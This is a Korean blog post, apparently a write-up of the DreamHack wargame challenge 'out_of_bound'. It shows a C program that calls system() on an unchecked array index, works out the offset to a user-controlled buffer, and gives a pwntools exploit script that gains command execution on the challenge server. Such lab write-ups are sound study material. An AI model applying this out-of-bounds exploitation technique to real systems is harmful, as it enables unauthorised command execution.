보안/시스템 해킹

[ 시스템 해킹 ] DreamHack WarGame : out_of_bound

haena02 2022. 8. 4. 20:54
반응형

1. 문제

 

문제를 보면 32비트라는 것과 Partial RELRO라는 것을 알 수 있고

카나리, NX는 존재하지만 PIE는 존재하지 않음을 알 수 있다.

 


 

2. 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
    
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);  //30초 후 종료
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

위 코드는 인덱스를 입력받고 그에 따른 값을 알려주는 간단한 코드이다.

하지만 입력받은 인덱스의 범위를 검사하지는 않는다. 

따라서 이를 통해서 리턴값을 조작해 봐야겠다.

 

3. 해결

 

main을 disasseamble해본 결과

 

name : 0x804a0ac
command : 0x804a060

 

임을 알 수 있다.

 

두개의 거리는 0x4C 즉, 76이다. 

name의 위치는 command주소로 부터 [19]만큼 떨어져 있다고 볼수 있다.

 

그럼 name에는 “/bin/sh”를 주고 idx를 19를 입력하면 될것이다.

 

system 함수는 외부 라이브러리이기 때문에 변수주소_4바이트+exec_code(인수)로 구성되어 있다고 한다.

예를 들어 system(“cat flag”); 이라는 명령어를 실행하면 메모리에는 변수주소_4바이트 + cat flag가 들어간다.

따라서 결과 리턴을 위한 name+4의 값과 cat flag를 인수로 줘야 한다.

 

from pwn import *

conn = remote("host3.dreamhack.games", '14306')

print(conn.recv())

payload = p32(0x804a0ac+4) #name주소 + 4byte
payload += b"cat flag"
print(payload)
conn.sendline(payload)
print(conn.recv())

conn.sendline(b"19")
print(conn.recvall().decode('utf-8'))

 

반응형